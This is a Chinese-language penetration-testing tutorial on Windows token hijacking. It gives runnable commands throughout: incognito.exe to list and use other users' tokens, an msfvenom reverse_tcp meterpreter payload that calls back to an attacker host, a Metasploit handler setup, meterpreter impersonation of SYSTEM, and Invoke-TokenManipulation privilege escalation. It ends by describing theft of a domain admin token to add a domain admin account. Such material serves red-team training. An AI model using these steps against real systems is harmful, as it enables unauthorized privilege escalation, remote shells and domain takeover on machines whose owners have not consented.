windows令牌劫持
0x01 用途
为啥要劫持令牌:一旦获取到一台主机的权限,就可以利用令牌劫持技术以另一个用户的身份进行提升用户权限、创建用户及创建用户组等操作。
例如:
0x02 令牌简介(token)
令牌可以看做是系统的临时密钥,在windows中,每一个进程都有一个令牌,它包含了登陆会话的安全信息,比如用户身份识别、用户组和用户权限。当用户登录windows时,就会被给定一个访问令牌来作为为认证会话的一部分。
windows有两种令牌:
Delegation token ( 授权令牌 ) : 用于交互会话登录 ( 例如本地用户直接登录、远程桌面登录 )
Impersonation token ( 模拟令牌 ) : 用于非交互登录 ( 利用 net use 访问共享文件夹 )
注意:
两种 token 只在系统重启后清除
具有 Delegation token 的用户在注销后,该 Token 将变成 Impersonation token,依旧有效
在windows中使用这个工具能够查看到用户的token📎incognito2.zip
下载地址:https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip
注:在管理员模式下运行
incognito.exe list_tokens -u
利用该token执行calc.exe
incognito.exe execute -c "TEST\client" calc.exe
0x03 利用Metasploit实现令牌窃取
【需要administrator权限】
攻击机kali:192.168.134.148
被攻击机win10:,域内机器:192.168.134.157 域用户:test\client 登陆过的域管账号:test\fristadmin
1、kali上生成msf样本:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.134.148 LPORT=4444 -f exe > testtoken.exe
2、开启监听:
msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set lhost 192.168.134.148 msf6 exploit(multi/handler) > set lport 4444 msf6 exploit(multi/handler) > exploit
3、win10点击样本上线
ps:如果在连接时出现了Died的情况,如下图,请检查生成样本选择的payload是否和监听是选择的payload一致
4、msf incognito基本命令
use incognito #加载incognito list_tokens -u #列出AccessToken impersonate_token "NT AUTHORITY\SYSTEM" #模拟system用户,getsystem命令即实现了该命令。如果要模拟其他用户,将token名改为其他用户即可 rev2self #返回到之前的AccessToken权限
0x04 Invoke-TokenManipulation.ps1
Import-Module .\Invoke-TokenManipulation.ps1 Invoke-TokenManipulation -Enumerate //列举token Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authoritysystem" //提权至system Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId 500 //复制进程token Invoke-TokenManipulation -CreateProcess "cmd.exe" -ThreadId 500 //复制线程token
0x0 例子
获取到一台域内机器,拥有管理员权限,域管理员test\fristadmin在这台机器上登陆过,可以通过窃取域管理员令牌来添加域管账号:
在此基础上还可以进行DCsync、pth、ptt等操作:
参考:
https://blog.csdn.net/qq_36119192/article/details/103965659